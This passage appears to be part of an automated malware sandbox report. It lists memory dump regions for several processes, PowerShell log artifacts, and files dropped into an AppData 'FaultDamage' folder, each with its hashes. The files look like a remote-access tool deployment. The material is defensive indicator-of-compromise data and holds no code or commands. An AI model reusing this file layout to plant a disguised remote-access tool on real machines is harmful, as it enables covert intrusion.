| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4780-17-0x0000000005C50000-0x0000000005FA4000-memory.dmp
memory/4780-18-0x0000000006260000-0x000000000627E000-memory.dmp
memory/4780-19-0x0000000006300000-0x000000000634C000-memory.dmp
memory/4780-20-0x0000000002A10000-0x0000000002A20000-memory.dmp
memory/4780-21-0x0000000007260000-0x00000000072F6000-memory.dmp
memory/4780-22-0x0000000006750000-0x000000000676A000-memory.dmp
memory/4780-23-0x00000000067B0000-0x00000000067D2000-memory.dmp
memory/4780-24-0x00000000078B0000-0x0000000007E54000-memory.dmp
memory/4780-28-0x0000000071280000-0x0000000071A30000-memory.dmp
memory/536-29-0x0000000071280000-0x0000000071A30000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
| MD5 | def65711d78669d7f8e69313be4acf2e |
| SHA1 | 6522ebf1de09eeb981e270bd95114bc69a49cda6 |
| SHA256 | aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c |
| SHA512 | 05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7 |
memory/536-30-0x00000000052D0000-0x00000000052E0000-memory.dmp
memory/1408-31-0x0000000071280000-0x0000000071A30000-memory.dmp
memory/1408-32-0x0000000004660000-0x0000000004670000-memory.dmp
memory/1408-33-0x0000000004660000-0x0000000004670000-memory.dmp
memory/536-48-0x00000000063E0000-0x0000000006734000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 5c55bcb4ffe78d272e87e0e214c43d6f |
| SHA1 | ebe5e1c8ba5c2b214f55ff5b937b20cbc508bc2a |
| SHA256 | ffe4d32fb6ede1c9f0f30a7ce67242166f489f9d7bf0ddd24013dae8bef0d8ce |
| SHA512 | ec692cf68be6f88feab10c3ea72a572356b871bd6721fc8d77a2f2992416a90e061add4d0e5862efc18c4f4d326a8a3246fee5508ce30545fab7d5004ea7a860 |
memory/536-54-0x00000000052D0000-0x00000000052E0000-memory.dmp
memory/536-55-0x0000000008110000-0x000000000878A000-memory.dmp
memory/1408-56-0x0000000006DD0000-0x0000000006E14000-memory.dmp
memory/536-58-0x0000000071280000-0x0000000071A30000-memory.dmp
memory/1408-59-0x0000000006F60000-0x0000000006FD6000-memory.dmp
memory/1408-60-0x0000000004660000-0x0000000004670000-memory.dmp
memory/1408-62-0x000000007F320000-0x000000007F330000-memory.dmp
memory/1408-63-0x0000000007520000-0x0000000007552000-memory.dmp
memory/1408-65-0x000000006DCA0000-0x000000006DFF4000-memory.dmp
memory/1408-64-0x000000006DB40000-0x000000006DB8C000-memory.dmp
memory/1408-75-0x0000000007500000-0x000000000751E000-memory.dmp
memory/1408-76-0x0000000007560000-0x0000000007603000-memory.dmp
memory/1408-77-0x0000000007CE0000-0x0000000007CEA000-memory.dmp
memory/1408-78-0x0000000007D00000-0x0000000007D11000-memory.dmp
memory/1408-79-0x0000000007D60000-0x0000000007D72000-memory.dmp
memory/1408-80-0x0000000007D20000-0x0000000007D2A000-memory.dmp
C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe
| MD5 | 8d9709ff7d9c83bd376e01912c734f0a |
| SHA1 | e3c92713ce1d7eaa5e2b1fabeb06cdc0bb499294 |
| SHA256 | 49a568f8ac11173e3a0d76cff6bc1d4b9bdf2c35c6d8570177422f142dcfdbe3 |
| SHA512 | 042ad89ed2e15671f5df67766d11e1fa7ada8241d4513e7c8f0d77b983505d63ebfb39fefa590a2712b77d7024c04445390a8bf4999648f83dbab6b0f04eb2ee |
C:\Users\Admin\AppData\Roaming\FaultDamage\PCICL32.DLL
| MD5 | 00587238d16012152c2e951a087f2cc9 |
| SHA1 | c4e27a43075ce993ff6bb033360af386b2fc58ff |
| SHA256 | 63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8 |
| SHA512 | 637950a1f78d3f3d02c30a49a16e91cf3dfccc59104041876789bd7fdf9224d187209547766b91404c67319e13d1606da7cec397315495962cbf3e2ccd5f1226 |
C:\Users\Admin\AppData\Roaming\FaultDamage\pcichek.dll
| MD5 | a0b9388c5f18e27266a31f8c5765b263 |
| SHA1 | 906f7e94f841d464d4da144f7c858fa2160e36db |
| SHA256 | 313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a |
| SHA512 | 6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd |
C:\Users\Admin\AppData\Roaming\FaultDamage\pcicapi.dll
| MD5 | dcde2248d19c778a41aa165866dd52d0 |
| SHA1 | 7ec84be84fe23f0b0093b647538737e1f19ebb03 |
| SHA256 | 9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917 |
| SHA512 | c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166 |
C:\Users\Admin\AppData\Roaming\FaultDamage\msvcr100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\Users\Admin\AppData\Roaming\FaultDamage\NSM.LIC
| MD5 | 7067af414215ee4c50bfcd3ea43c84f0 |
| SHA1 | c331d410672477844a4ca87f43a14e643c863af9 |
| SHA256 | 2050cc232710a2ea6a207bc78d1eac66a4042f2ee701cdfeee5de3ddcdc31d12 |
| SHA512 | 17b888087192bcea9f56128d0950423b1807e294d1c4f953d1bf0f5bd08e5f8e35afeee584ebf9233bfc44e0723db3661911415798159ac118c8a42aaf0b902f |
C:\Users\Admin\AppData\Roaming\FaultDamage\client32.ini
| MD5 | bbaa3f64ab41cc6b8e3c04fe0c17849c |
| SHA1 | 0d2076ee4445e5ee6fdb15789b817e6a133b43fa |
| SHA256 | 643fa4dae006fd49339ca9b5f19e337e1d4e96fa2bddb01028ce8601e157c6fb |
| SHA512 | 555753c751a398dae0e6991cc35c166e7b2d84d453901ad7d79c9343784bf22ee45bb389f8cd3aff22e0cc5e36c20c1ba221dd63e1d10d3dc49f994b428a45f3 |
C:\Users\Admin\AppData\Roaming\FaultDamage\HTCTL32.DLL
| MD5 | 2d3b207c8a48148296156e5725426c7f |
| SHA1 | ad464eb7cf5c19c8a443ab5b590440b32dbc618f |
| SHA256 | edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796 |
| SHA512 | 55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c |
memory/1408-140-0x0000000071280000-0x0000000071A30000-memory.dmp